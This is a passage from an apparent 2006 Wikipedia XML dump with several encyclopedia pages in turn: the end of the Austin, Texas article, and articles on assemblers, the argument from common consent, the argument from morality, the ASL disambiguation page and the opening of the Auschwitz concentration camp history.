An [[Amtrak]] [[Texas Eagle]] station is located west of Downtown. Segments of the Amtrak route between Austin and San Antonio are being evaluated for a future passenger rail corridor as an alternative to the traffic congestion of Interstate-35.

==Suburban Area==
Suburbs include [[Lakeway, Texas|Lakeway]], [[Round Rock, Texas|Round Rock]], [[Bastrop, Texas|Bastrop]], [[San Marcos, Texas|San Marcos]], and [[Georgetown, Texas|Georgetown]].  In addition, [[San Antonio, Texas|San Antonio]] is within 75 miles of Austin.

==Sister cities==
* [[Image:Flag_of_Australia.svg|20px|]] [[Adelaide]], [[Australia]] - since 1983
* [[Image:Flag of Germany.svg|20px|]] [[Koblenz]], [[Germany]]
* [[Image:Peru_flag_large.png|20px|]] [[Lima]], [[Peru]]
* [[Image:Lesotho_flag_large.png|20px|]] [[Maseru]], [[Lesotho]]
* [[Image:Flag of Japan.svg|20px|]] [[Oita]], [[Japan]]
* [[Image:{{Country flag alias Mexico}}|20px|]] [[Saltillo]], [[Mexico]]
* [[Image:Flag of the Republic of China.svg|20px|]] [[Taichung]], [[Republic of China|Taiwan]]
* [[Image:Flag_of_Canada.svg|21px|]] [[Edmonton, Alberta|Edmonton]], [[Canada]]
* [[Image:Nigeria_flag_large.png|20px|]] [[Old Orlu]], [[Nigeria]]
* [[Image:South_korea_flag_large.png|20px|]] [[Kwangmyong]], [[South Korea]]

==External links==
*[http://www.ci.austin.tx.us/ City of Austin]

===Media and entertainment===
*[http://www.statesman.com/ Austin American-Statesman]
*[http://austin.bizjournals.com/ Austin Business Journal]
*[http://www.auschron.com/ Austin Chronicle] (weekly)
*[http://www.dailytexanonline.com/ UT's The Daily Texan]
*[http://www.kmfa.org/ KMFA Classical 89.5FM (listener-supported, non-commercial, all-classical radio)]
*[http://www.koop.org/ KOOP 91.7FM Community Radio for Austin]
*[http://www.kut.org/ KUT 90.5FM] (Eclectic music and [[National Public Radio|NPR]] News) 
*[http://www.kvrnews.com/ KVR News 9, UT's Broadcast News Show]
*[http://www.kvrx.org/ KVRX UT Student Radio]
*[http://www.news8austin.com/ News 8 Austin (24-hour local cable news channel)]
*[http://www.austin.indymedia.org/ Austin Independent Media Center]
*[http://www.burntorangereport.com/ Burnt Orange Report] (blog)
*[http://www.texastravesty.com/ The Texas Travesty] (bi-monthly)
*[http://www.klru.org/ KLRU] ([[Public Broadcasting Service|PBS]] member TV station)
*[[List of radio stations in Texas#Austin|List of radio stations in Austin]]

===Nature and environment===
*[http://www.hornsbybend.org/ Hornsby Bend Bird Observatory]
*[http://www.batcon.org/home/index.asp?idPage=122 Bat Conservation International page on the Congress Avenue Bats]
*[http://www.npsot.org/austin/ Austin chapter of the Native Plant Society of Texas]
*[http://www.austinlovestheworld.com/ Austin's Humanitarian-Charitable-Environmental Web Portal]
{{Mapit-US-cityscale|30.300474|-97.747247}}
*[http://www.austinmap.org/ The Austin Map Project]
*[http://www.weather.com/weather/local/USTX0057?from=search_city Current Austin weather from weather.com]

===Resources===
*[http://austin.about.com/ Austin TX at About.com] - Living in, Moving to, Visiting the City of Austin
*[http://www.ci.austin.tx.us/library/ahc/briefhistory.htm Austin History Center]
*[http://www.austinpostcards.com AustinPostcards.com] - Postcards, photographs and ephemera of historic significance to Austin
*[http://www.memorywiki.org/en/Category:Austin%2C_Texas Memoirs of old Austin] - From MemoryWiki
*[http://www.austintexas.org/ Austin Convention &amp;amp; Visitors Bureau]
*[http://www.wildtexas.com/parks/results.php?nearby_cities=Austin Austin Area Parks]
*[http://www.capmetro.org/ Capital Metro] - Public transportation in Austin
*[http://www.austin-chamber.org/ Greater Austin Chamber of Commerce]
*[http://www.klru.org/austinhistory/history.html KLRU: Brief History of Austin]
*[http://www.housealmanac.com/property/austin/austin-texas.htm Austin House Statistics]
*[http://austin.about.com/od/relocation/a/bestliving.htm Austin - Best Place to Live] - How Austin Ranks Among US Cities
{{Austin}}
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  </page>
  <page>
    <title>Assembler</title>
    <id>1999</id>
    <revision>
      <id>39688723</id>
      <timestamp>2006-02-15T04:22:30Z</timestamp>
      <contributor>
        <ip>63.250.65.244</ip>
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      <comment>/* Assemblers */</comment>
      <text xml:space="preserve">:''This article is about the category of computer programming tools''.'' See [[Assembler (disambiguation)]] for other meanings''.

An '''assembler''' is a [[computer program]] for translating '''[[assembly language]]''' &amp;mdash; essentially, a [[mnemonic]] representation of [[machine language]] &amp;mdash; into [[object code]]. A '''cross assembler''' (see [[cross compiler]]) produces code for one type of processor, but runs on another.

As well as translating assembly instruction mnemonics into [[opcode]]s, assemblers provide the ability to use symbolic names for memory locations (saving tedious calculations and manually updating addresses when a program is slightly modified), and [[macro]] facilities for performing textual substitution &amp;mdash; typically used to encode common short sequences of instructions to run inline instead of in a [[subroutine]].

Assemblers are far simpler to write than [[compiler]]s for [[high-level language]]s, and have been available since the [[1950s]]. Modern assemblers, especially for [[RISC]] based architectures, such as [[MIPS architecture|MIPS]], Sun [[SPARC]] and HP [[PA-RISC]], optimize [[instruction scheduling]] to exploit the [[CPU pipeline]] efficiently.

[[High-level assembler]]s provide high-level-language abstractions such as advanced control structures, high-level procedure/function declarations and invocations, and high-level abstract data types including structures/records, unions, classes, and sets.

==Assemblers==
For any given personal computer, mainframe, embedded system, and game console, both past and present, at least one--possibly dozens--of assemblers have been written. For some examples, see the [[list of assemblers]].

On [[Unix]] systems, the assembler is traditionally called [[as (Unix)|as]], although it is not a single body of code, being typically written anew for each port. A number of Unix variants use [[GNU Assembler|GAS]]. 

Within processor groups, each assembler has its own dialect. Sometimes, some assemblers can read another assembler's dialect, for example, TASM can read old MASM code, but not the reverse. FASM and NASM have similar syntax, but each support different macros that could make them difficult to translate to each other. The basics are all the same, but the advanced features will differ.

Also, assembly can sometimes be portable across different operating systems on the same type of [[CPU]]. Calling conventions between operating systems often differ slightly to none at all, and with care it is possible to gain some portability in assembly language, usually by linking with a [[C programming language|C]] library that does not change between operating systems. However, it is not possible to link portably with C libraries that require the caller to use preprocessor macros that may change between operating systems.

For example, many things in [[libc]] depend on the preprocessor to do OS-specific, C-specific things to the program before compiling.  In fact, some functions and symbols are not even guaranteed to exist outside of the preprocessor. Worse, the size and field order of structs, as well as the size of certain typedefs such as off_t, are entirely unavailable in assembly language, and differ even between versions of [[Linux]], making it impossible to portably call functions in libc other than ones that only take simple integers and pointers as parameters.

Some higher level computer languages, such as [[C programming language|C]], support [[Inline assembler|Inline assembly]] where relatively brief sections of assembly code can be embedded into the high level language code.

Many people use an [[emulator]] to debug assembly-language programs.

==See also==
*[[Compiler]]
*[[Disassembler]]
*[[List of assemblers]]

==References==
*David Salomon, ''Assemblers and Loaders''. 1993 [http://www.davidsalomon.name/assem.advertis/asl.pdf]

==External links==
*[http://www.program-transformation.org/ The Program Transformation Wiki]
*[http://c2.com/cgi/wiki?LearningAssemblyLanguage C2: Learning Assembly Language]
*[http://www.gnu.org/software/lightning/lightning.html GNU lightning is a library that generates assembly language code at run-time which is useful for Just-In-Time compilers]
*[http://linuxassembly.org/ &quot;information on assembly programming under different platforms: IA32 (x86), IA64 (Itanium), x86-64, SPARC, Alpha, or whatever platform we find contributors for.&quot;]
*[http://terse.com/ &quot;Terse: Algebraic Assembly Language for x86&quot;]
*[http://retroforth.org/asmchart/ x86 Assembler Chart] - tries to be fairly complete, shows general lineage
*[http://win32assembly.online.fr/tutorials.html Iczelion's Win32 Assembly Tutorial]

[[Category:Assemblers|*Assembler]]
[[Category:Programming languages]]

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  </page>
  <page>
    <title>Al Qaida</title>
    <id>2001</id>
    <revision>
      <id>15900455</id>
      <timestamp>2004-11-13T17:43:36Z</timestamp>
      <contributor>
        <username>Neutrality</username>
        <id>68411</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Al-Qaeda]]</text>
    </revision>
  </page>
  <page>
    <title>Argument from common consent</title>
    <id>2002</id>
    <revision>
      <id>39616496</id>
      <timestamp>2006-02-14T18:18:29Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] delete duplicate word.</comment>
      <text xml:space="preserve">The '''Argument from consensus''' or '''argument from common consent''' purports to prove the existence of God. It can be summarized as follows.

&quot;Throughout the world, in all lands, people believe in some God.  And not just now, but in the past, a belief in some God was a very common part of daily life.  So the person who denies that God exists is opposing the common consent of all of humanity, that God exists.  Who are we to oppose such an enormous consensus?  Therefore, God exists.&quot;

This argument has a number of problems.

*Not ''everyone'' in ''all'' times has believed that [[God]] exists.  There have been dissenters, atheists, everywhere. Furthermore, it is misleading to describe all religions as theistic - the Dalai Lama, for instance, has called Buddhism an &quot;atheistic religion&quot;. For more on this, see the next point...

*There are a number of different ''versions'' of God that people believe in: the gods of the ancient Greeks are very different from the Hindu gods, which are very different indeed from the spirits that some Africans traditionally worship, which are of course very different still from the [[Judeo-Christian]] God.  At the very best, the most one could say is that ''some higher power of some sort'' has been ''commonly'', although not universally, thought to exist.

*The argument as stated does not differentiate between the actual existence of some form of God(s) and the desire for God(s). Widespread belief in God could reflect ''either'' God's existence or the desire of a community (in this case, humanity) for a protective force to answer difficult questions ranging from the reason for thunder ([[Thor]]) to what happens after death ([[Heaven]]).  Children in many countries believe in [[Santa Claus]], not because he exists, but because they wish he did, and they have been encouraged in their belief by their parents.  This highlights another problem:

*Reinforced opinions are still opinions.  The established churches in countries across the world have encouraged belief in their tenets throughout history.  It is natural for people raised in a tradition to believe that tradition, just as children believe in Santa because parents tell them it's true, and parents don't generally lie to their children.

*Finally, and most importantly, the argument engages in a [[logical fallacy]] known as the [[argumentum ad numerum|bandwagon fallacy]]. Essentially, the fact that there is widespread consensus about a topic does not mean that the consensus is correct.  A commonly cited example is that most people in medieval Europe believed that the Earth was flat, but that did not change the fact that the Earth is round.  This example is itself an example&amp;mdash;the fact that the Earth was round was quite well established in medieval Europe, but not widely discussed because it had no significant impact on people.  So our widespread belief about these people in no way affects what they actually knew about the shape of the planet.

These problems have led many to abandon the ''argument from common consent'', and is not nowadays taken seriously in philosophy or theology.

[[Category:Philosophy]]
[[Category:Theology]]</text>
    </revision>
  </page>
  <page>
    <title>Argument from morality</title>
    <id>2003</id>
    <revision>
      <id>41878209</id>
      <timestamp>2006-03-02T08:34:19Z</timestamp>
      <contributor>
        <ip>208.187.181.226</ip>
      </contributor>
      <comment>/* Contrary evidence */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
{{npov}}

The '''argument from morality''' is one of several [[arguments for the existence of God]]. This argument comes in different forms, all aiming to prove God’s existence from the evidence of morality in the world.

==The argument==
The moral argument works on the idea that most people have some experience of morality, and feel there are certain rules about how they should behave.  

===Divine Command===
# Moral law requires a moral lawgiver.
# There is a moral law.
# There must be a moral lawgiver. (from 1 and 2)
# This moral lawgiver is God.

The two premises must, of course, be defended separately.  However, usually this argument is employed with those (the great majority of the human population) who already subscribe to the second premise.  Thus, the first premise is the more oft-debated.  That the moral lawgiver is God must also be justified, but so with most arguments for God's existence must the proven entity be shown to be God as regularly understood (e.g., that Aquinas' prime mover is the God of the Bible).  This is not, however, a circular argument.

Another argument from morality can be expressed as follows:
# If [[God]] exists, then God and God alone decides what is (truly) right and wrong. Without God there could be no ultimate standards of [[morality]].
# So, if people assumed that God does not exist, then they would be doomed to a life without fixed moral standards. They would have no reasons to think that [[lie|lying]], [[theft|stealing]], or even [[murder]] are wrong. According to this view, nonbelievers contribute to the corruption of themselves and the entire [[culture]]. (Cf the famous quote associated with [[Dostoevsky]], &quot;If God does not exist, everything is permitted&quot;.)
# Given the above, it is necessary that God exists if society is to have stable standards of morality.
# Everyone in society either obviously needs or already has stable standards of morality. Therefore, God exists.

That is the basis of [[theological ethics]], or alternatively, the [[divine command theory]].  The argument is valid if and only if the following assumptions are correct:

# There is an ultimate standard of morality.
# People are able to know God's commands, and the sources of such knowledge are infallible.
# Something is right if and only if God commands it; something is wrong if and only if God forbids it; and something is morally permissible if and only if God neither commands nor forbids it.
# God's standards are stable; God's commands are as valid today as they were when the infallible sources of information were created.
# There is no alternative source of moral and ethical ideas and action, meaning that all other systems such as [[utilitarianism]] are invalid; that is to say, even if they ultimately endorse the same morals they are wrong about what it is that makes those things moral.

A third variant of the argument from morality is based on the existence of standards, and the existence of conscience in humans. In any argument, various standards are appealed to, and only unreasonable arguers would make claims like &quot;I am right because I think I am.&quot; If no standard really exists, then no ''[[justice]]'' system can ever be objectively just, and all justice systems would be shams, which is assumed to be untrue. Therefore, it is argued that the standards of moral good exists external from ourselves, and are not arbitrary. Since such standards exist, so must God.

===Pointing towards God===
This form of the moral argument interprets morality as an indirect religious experience which points towards God.  
# Our feelings of obligation guide us to make a moral decision.
# This obligation is due to the fact that each person has value,  and this supports each decision.
# If people have an intrinsic value, there must be a source to this value.
# This source must be God.

===Kant's argument===
[[Immanuel Kant]] believed that in a perfect world behaving morally should lead to happiness.  However, as this rarely happens in our world, he considered that there must be another answer.
He argued that there are certain rational laws which we feel duty bound to follow, and these he called categorical imperatives.  He concluded that if this is true, we can assume three things: 
*Freedom – We must have the freedom to act
*Immortality – happiness will eventually reward us
*God – there is a regulating being that will reward virtue with happiness.

His argument is thus:
# If it is our unconditional duty to follow these moral laws, it must be our unconditional duty to aim for the goal of these laws, and so we seek to bring about the highest good.
# Humans do not have enough power to bring about the highest good.  Even with perfect morality, we cannot ensure the perfect happiness that should follow.
# However, if we aim for the highest good, it must be possible to achieve it.  If we are unable to attain this goal in our present life, there must be someone else to ensure we can attain it in a future life.
# God has this necessary power, therefore we can assume the existence of God.

Kant believes that this does not prove the existence of God, but our sense of morality implies the world is ordered in a moral way.

==Criticisms==

===Logical flaws===
&lt;!-- This section is is just a stub I wrote late at night. I will probably update this soon, but as always extensions are encouraged and appreciated [[User:Infinity0|Infinity0]] 23:12, [[21 September]] [[2005]] (UTC) --&gt;

The most common attack on the logic of this argument is by the conclusion (4), which is an assumption. Objections point out that there is no reason to assume that God is the moral lawgiver; or that if he exists, he should be the only moral lawmaker. Such an assumption requires knowledge of the existence of God (which is what the argument is trying to prove) and of the character of God (which is disputed).

Indeed, there is no reason to suppose (or given by the argument) why morality is objective, or that people themselves are not the moral lawgivers. Morality can easily be explained as a [[social contract]] which everybody agrees to for the purpose of maximising survival - if everybody acted as they wished, most people would invariably end up committing selfish acts (eg. to gain power and possessions) at the expense of others; eventually nobody would live. Some people might unconditionally wish not to do harm, other people might wish not to do harm to prevent harm from being done to themselves. However, the result of a social contract being formed is the same.

Another criticism of the existence of standards variant, in addition to the argument for using man as the moral lawgiver, is that it equates the &quot;ultimate standard&quot; and God, and that this is an example of [[equivocation]].

===Contrary evidence===

Many argue this argument makes the prediction that since God is the source of morality, then someone who believes that (and behaves as if) God does not exist, i. e. a nonbeliever, should generally behave less morally than a believer. Therefore, the argument goes, nonbelievers should perform immoral actions more frequently than believers.

Some of these immoral actions fall under the category of secular crime in most legislations around the world (such as homicide, rape and theft); others are punished in some but considered private actions in others (homosexual intercourse, drug consumption); other are considered immoral by certain religions (such as divorce).

The prediction has been found to fail in the following cases:
*In the United States, a 1999 poll by the Barna Research Group showed that in fact certain religious groups, such as Jews, Mainline Protestants, and Evangelical Christians, get divorced more often than atheists.
*If prison statistics in the USA are reliable, religious people are imprisoned by at least 40 times the rate of atheists.
*Believers have been solely responsible for countless historical atrocities, including (but certainly not limited to) the [[Crusades|Crusades]] and the [[September 11]] attacks. While atheists have also been responsible for some atrocities, such as the [[Soviet]] [[gulag]] camps of [[Joseph Stalin]] or the genocide of the [[Khmer Rouge]], they are not primarily motivated by their religious beliefs.

Statistics for other measures of morality provide similar results.

However, many advocates of the moral argument deny that the prediction is valid, arguing that believers who don't act morally are not  correctly interpreting God's morality, and that non-believers who do act morally may still believe in morality, but only not see it as connected to God.

===Responses and counter-responses===

'''Response:''' Many theists, or believers, will argue that the prediction stated above does not logically stem from its premises, i.e., that (4) is a [[non-sequitur]]. Thus, from this point of view, the &quot;contrary evidence&quot; would in essence be evidence against a [[Straw_man|straw man]].

[[Christian|Christians]], for example, argue that The Absolute Moral Law is written in our consciences, those of both believers and non-believers (Romans 2:15). It would then follow that the morals accepted by both believers and non-believers are essentially the same. Therefore we would logically expect their behavior to be essentially the same as well. The theist making this argument would claim that that is exactly what we see throughout history and even in modern societies today.

'''Response:''' The prediction claimed above assumes that because believers believe, they will always (or usually) act on this belief. Many Christians will state that this is contrary to well-established Christian doctrine, that all are sinners (Romans 3:23, 1 John 1:8), including Christians. Simply believing in a god of some sort does not necessarily enable anyone to behave more righteously than anyone else.

'''Response:''' When assessing the above tests and &quot;morality measures&quot; in the prediction, some issues must be taken into account:
*How terms such as &quot;religious&quot;, &quot;nonreligious&quot;, &quot;atheist&quot;, &quot;agnostic&quot;, &quot;believer&quot;, &quot;nonbeliever&quot;, etc. are defined, if at all.
*Whether the tests assume that there are no factors correlated with religiosity or belief that may influence the measurement.
*Whether the statistics have taken into account the religious demographics of the U.S. namely that the 'religious' far outnumber the atheists, which could account for the above results.
*Whether society prosecutes and punishes the &quot;correct&quot; crimes (are laws moral? are the police, the judicial system, etc. biased towards believers or nonbelievers?).
*Whether there is such a thing as a &quot;right&quot; crime, or whether it's all relativistic.

The last point may be raised by some believers as an objection. It is entirely possible that those who make the laws are failing to conform with the &quot;correct&quot; moral standards (for example, most modern societies do not punish divorce or homosexual behaviour, which most believers consider to be morally wrong).

'''Response:''' Many theists may posit that certain societies, such as that of the United States, have been so molded by believers, that the modern individual morals of [[Atheist|atheists]] are often molded by the historic values of the believers in that society. Thus, the behaviors of the two would be very similar in most circumstances.
&lt;br /&gt;'''Counter-response:''' While this may be so in some cases, there is nothing to suggest that this is always the case (i.e., the argument is not universal or objective). Indeed, there are counterexamples, for example in [[Ancient China]] where there was no structured concept of [[God]], yet it had a highly advanced moral and legal system for its time.

'''Response:''' Another viewpoint to consider is that if God is not responsible for morality, then moral values are simply social constructs (or [[memes]]) created by a certain individual or group to abridge the behavior of another group to benefit themselves or others like themselves. (For example, a mother who has been abandoned by her partner may teach her sons not to cheat on their wives to spare other women from her pain, which eventually leads to the concepts of monogamy and chastity.) In this way, morality originates as a principle of self-preservation. But as it is propagated, it is ingrained into the younger generation and colours their conception of morality. The logical conclusion to this viewpoint is that the morals of a society are ultimately subjective (even though certain morals are quite ubiquitous, suggesting a common psychological prompt), so nothing is objectively wrong.

A possible reason that certain morals are so ubiquitous in otherwise divergent societies, is to be found in evolutionary theory. If consider that a society may be susceptible to [[natural selection]], we can determine that certain moral behaviors, when practiced by a majority of a population, will give an advantage to those societies that practice them over those that do not (see [[Evolutionary psychology]], [[Game theory]], [[Evolutionarily Stable Strategy]], etc). Thus, rather than having a divine source, morality simply consists of a consensus behavior that benefits the population as a whole.

==Counterarguments==

Some structured counterarguments include:

'''Morality doesn't depend on the existence of a god'''
#Humankind's core [[motivation]]s are greed and a fear of the [[wrath]] of [[God]].
#[[Greed (emotion)|Greed]] is defined as wanting things that [[benefit]] oneself, possibly at the expense of others, and avoiding things that cause [[detriment]] to oneself, possibly at the expense of others.
#Greed causes people to want to experience as little [[suffering]] as possible since suffering is [[unpleasant]].
#[[Morality]] is defined as a set of [[rules]] that one should follow to prevent suffering.
#Assume morality can only come from fear of God's wrath.
#Then a world devoid of God would have no morality. (by 5)
#Since greed is the only remaining motivation, people will engage in immoral behavior in order to satisfy their greed. (by 1, 2, 6)
#This causes a [[state of nature]].
#Due to greed, humankind is eventually motivated to lessen the overall suffering of humanity (and thus its individuals) by preventing a state of nature. (by 1, 3)
#Governments of some sort are established to further this goal. (by 9)
#Governments create and enforce a [[social contract]]. (by 10)
#This contract is a form of morality. (by 4, 9)
#But this contradicts Assumption 6 and its Logical Consequence 7.
#Therefore Assumption 6 is incorrect, thus morality doesn't only come from a fear of God's wrath.

==External links==
*[http://plato.stanford.edu/entries/moral-arguments-god/ Moral Arguments at the Stanford Encyclopedia of Philosophy]
*[http://apologetics.johndepoe.com/morality.html Moral Argument by C. S. Lewis]
*[http://www.creationtheory.org/Morality/CrimeAndDivorce.shtml Atheist morality]
*[http://www.valleyskeptic.com/christdivorce.html Barna Research Poll Results]

[[Category:Ethics]]
[[Category:Theology]]</text>
    </revision>
  </page>
  <page>
    <title>ASL</title>
    <id>2004</id>
    <revision>
      <id>38143678</id>
      <timestamp>2006-02-04T13:45:01Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] change &quot;a&quot; to &quot;an&quot;.</comment>
      <text xml:space="preserve">The acronym '''ASL''' OR '''a.s.l.''' may stand for:

*[[Above mean sea level]], altitude measurement
*[[Action specification language]]
*[[Adobe Source Libraries]], a set of open source software libraries by Adobe
*[[Advanced Squad Leader]], a tactical-level war boardgame
*[[Age sex location]], abbreviation in internet chat jargon
*[[Airway Surface Liquid]]
*[[American School in London]], primary and secondary school
*[[American Sign Language]], dominant sign language in north America
*[[American Soccer League]], professional leagues in the US
*[[Anti-saloon League]]
*[[Apache Software License]], an open-source, copyleft license for software
*[[Application Services Library]], a software development framework
*[[ASL (gene)]], human gene making the protein argininosuccinate lyase
*[[Association for Symbolic Logic]], of academic researchers in symbolic logic
*[[Atlanta Sound &amp; Lights Company]], concert audio and lighting
*[[Australia's Surfing Life]], surf magazine
*[[Arterial Spin Labeling]] functional magnetic resonance imaging technique to measure tissue blood flow

{{TLAdisambig}}

[[de:ASL]]
[[fr:ASL]]
[[ja:ASL]]
[[nl:ASL]]
[[sv:ASL]]</text>
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  <page>
    <title>Addictive</title>
    <id>2005</id>
    <revision>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Addiction]]
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  <page>
    <title>Auschwitz concentration camp</title>
    <id>2006</id>
    <revision>
      <id>42158588</id>
      <timestamp>2006-03-04T05:12:00Z</timestamp>
      <contributor>
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      <minor />
      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{redirect|Auschwitz}}
{{The Holocaust}} 

'''Auschwitz''' is the name loosely used to identify the largest [[Nazi Germany|Nazi]] [[extermination camp]] along with two main [[German concentration camps]] and 45-50 sub-camps. The name is derived from the German name for the nearby [[Poland|Polish]] town of [[Oświęcim]] (pronounced {{IPA|[oʃˈventʃiːm]}}), situated about 60 [[kilometre]]s (37 [[mile|mi]]) southwest of [[Kraków]]. Beginning in 1940, [[Nazi Germany]] built several [[concentration camp]]s and an [[extermination camp]] in the area, which at the time had been [[annexation|annexed]] by Nazi Germany. The camps were a major element in the perpetration of [[the Holocaust]], killing around 1.1-1.6 million people, of whom over 90% were [[Jew]]s.

The three main camps were:
* Auschwitz I, the original concentration camp which served as the administrative centre for the whole complex, and was the site of the deaths of roughly 70,000 people, mostly [[Poles]] and [[Soviet]] [[Prisoners of War]]
* Auschwitz II ([[Birkenau]]), an [[extermination camp]] and the site of the deaths of at least 1.1 million [[Jew]]s, 75,000 [[Poles]], and some 19,000 [[Roma (people)|Roma]]
* Auschwitz III ([[Monowitz]]/[[Monowice]]), which served as a [[labor camp]] for the Buna-Werke factory of the [[IG Farben]] [[concern]].

See [[List of subcamps of Auschwitz]] for others. The exact number of people killed in the camps is not known, but most modern estimates are around 1.1-1.6 million.

Like all Nazi concentration camps, the Auschwitz camps were operated by [[Heinrich Himmler]]'s [[Schutzstaffel|SS]]. The commandants of the camp were the SS-Obersturmbannführers [[Rudolf Höß]] (sometimes transliterated in English as &quot;Hoess&quot;) until Summer 1943, and later [[Arthur Liebehenschel]] and [[Richard Baer]]. Höß provided a detailed description of the camp's workings during his interrogations after the war and also in his autobiography. He was hanged in [[1947]] in front of the entrance to the [[crematorium]] of Auschwitz I.  Chief of the women's field was handled by [[Johanna Langefeld]], [[Maria Mandel]] and last by [[Elisabeth Volkenrath]]. 

About 700 prisoners attempted to escape from the Auschwitz camps during the years of their operation, with about 300 attempts successful. A common punishment for escape attempts was death by starvation; the families of successful escapees were sometimes arrested and interned in Auschwitz and prominently displayed to deter others.

== The camp ==
=== Auschwitz I ===
[[Image:Auschwitz gate brama 1940s.jpg|thumb|180px|Entrance to Auschwitz in 1941. The slogan ''[[Arbeit macht frei]]'' over the gate translates as &quot;Work (shall) make (you) free&quot; (or &quot;work liberates&quot;)]]
[[image:auschwitz I.jpg|right|thumb|180px|Auschwitz I concentration camp in 2001]]
[[Image:Auschwitz-2.jpg|thumb|180px|View of Auschwitz in the winter(2002)]]

Auschwitz I served as the administrative center for the whole complex. It was founded on [[May 20]], [[1940]], on the basis of an old Polish brick army barracks. A group of 728 [[Poland|Polish]] political prisoners from [[Tarnów]] became the first residents of Auschwitz on [[June 14]]th that year. The camp was initially used for interning Polish intellectuals and resistance movement members, then also for Soviet Prisoners of War. Common German criminals, &quot;anti-social elements&quot; and 48 German [[homosexuality|homosexuals]] were also imprisoned there. [[Jew]]s were sent to the camp as well, beginning with the very first shipment (from Tarnów). At any time, the camp held between 13,000 and 16,000 inmates; in 1942 the number reached 20,000.

The entrance to Auschwitz I was (and still is) marked with the cynical sign &quot;[[Arbeit macht frei]]&quot;, &quot;Work (shall) make (you)  free&quot; (or &quot;work liberates&quot;). The camp's prisoners who left the camp during the day for construction or farm labour were made to march through the gate at the sounds of an orchestra. Contrary to what is depicted in several films, the majority of the Jews were imprisoned in the Auschwitz II camp, and did not pass under this sign.

The SS selected some prisoners, often German criminals, as specially privileged supervisors of the other inmates (so-called: ''kapo''). The various classes of prisoners were distinguishable by special marks on their clothes; Jews were generally treated the worst. All inmates had to work; except in the associated arms factories, Sundays were reserved for cleaning and showering and there were no work assignments.  

The harsh work requirements, combined with poor nutrition and hygiene, led to high death rates among the prisoners.

Block 11 of Auschwitz I was the &quot;prison within the prison&quot;, where violations of the numerous rules were punished. Some prisoners had to spend several days in tiny cells too small to sit down. Others were executed by shooting, hanging or starving.

[[image:Auschwitz I Entrance.jpg|left|thumb|150px|Entrance of Auschwitz I]]
In September 1941, the SS conducted poison gas tests in block 11, killing 850 Poles and Russians using [[Hydrogen cyanide|cyanide]].  The first experiment was on 3 September, 1941, and it killed 600 [[Soviet]] POWs. The substance producing the highly-lethal cyanide gas was sold under the trade name [[Zyklon B]], originally for use as a [[pesticide]] used to kill lice. The tests deemed successful, a gas chamber and crematorium were constructed by converting a bunker. This gas chamber operated from 1941 to 1942 and was then converted into an air-raid shelter.

The first women arrived in the camp on [[March 26]], 1942. From April 1943 to May 1944, the gynecologist Prof. Dr. [[Carl Clauberg]] conducted sterilization experiments on Jewish women in block 10 of Auschwitz I, with the aim of developing a simple injection method to be used on the Slavic people. Dr. [[Josef Mengele]] experimented on twins in the same complex. Prisoners in the camp hospital who were not quick to recover were regularly killed by a [[lethal injection]] of [[phenol]].

The camp brothel, established in the summer of 1943 on [[Heinrich Himmler|Himmler]]'s order, was located in block 29 and was used to reward privileged prisoners. It was staffed by women specifically selected for the purpose, and by some volunteers from the female prisoners most of whom were raped by the Nazis.

=== Auschwitz II (Birkenau) ===
[[Image:AuschwitzCampEntrance.jpg|thumb|200px|Entrance to Auschwitz II (Birkenau), the main extermination camp, in 2002]]
[[image:Selection Birkenau ramp.jpg|right|thumb|200px|Selection at the Birkenau ramp, 1944 &amp;mdash; Birkenau main entrance visible in the background]]
[[image:birkenau.jpg|right|thumb|200px|Birkenau concentration camp in 2001]]
Auschwitz II (Birkenau) is the camp that many people know simply as &quot;Auschwitz&quot;. It was the site of the imprisonment of hundreds of thousands, and the killings of over one million people, mainly [[Jew]]s.

The camp is located in [[Brzezinka]] (Birkenau), about 3 kilometres (1.8 mi) from Auschwitz I. The camp was designed, according to the [[Bauhaus]] concept of [[Functionalism (architecture)|functionalism]] and construction started in 1941, as part of the ''[[Final Solution]]'' (''Endlösung''). The camp was about 2.5 kilometres by 2 kilometres (1&amp;frac12;&amp;nbsp;mi by 1&amp;frac14;&amp;nbsp;mi) large and was divided into several sections, each of which was separated into fields. Fields as well as the camp itself were surrounded with barbed, electrified wire (which was used by some of the inmates to commit suicide). The camp held up to 100,000 prisoners at one time.

The camp's main purpose, however, was not internment with forced labour (as Auschwitz I &amp; III) but rather extermination. For this purpose, the camp was equipped with four crematoria with [[gas chamber]]s; each gas chamber was designed to hold up to 2,500 people at one time. Large-scale extermination started in Spring 1942.

Most people arrived at the camp by rail, often after horrifying trips in [[cattle cars]] lasting several days. From 1944 railway tracks extended into the camp itself; before that, arriving prisoners were marched from the Auschwitz railway station to the camp. At times, the whole transport would be sent to its death immediately. At other times, the Nazis would perform &quot;selections&quot;, often administered by [[Josef Mengele]], to the end of choosing whom to kill right away and whom to imprison as labour force or use for [[Nazi human experimentation|medical experiments]]. Young children were taken from their mothers and placed with older women to be gassed, along with the sick, weak and old.

Those arriving prisoners who survived the initial selection would go on to spend some time in quarantine quarters and eventually work on the camp's maintenance or expansion or be sent to one of the surrounding satellite work camps.

One section of the camp was reserved for female prisoners. In another section known as &quot;Canada&quot; (so named because Germans believed that Canada was a land of vast riches), the belongings of the arriving victims were sorted and stored, to be transferred to the German government.  Items such as banknotes, coins, jewellery, precious metals and diamonds were removed from &quot;Canada&quot; and shipped off to the Reichsbank.

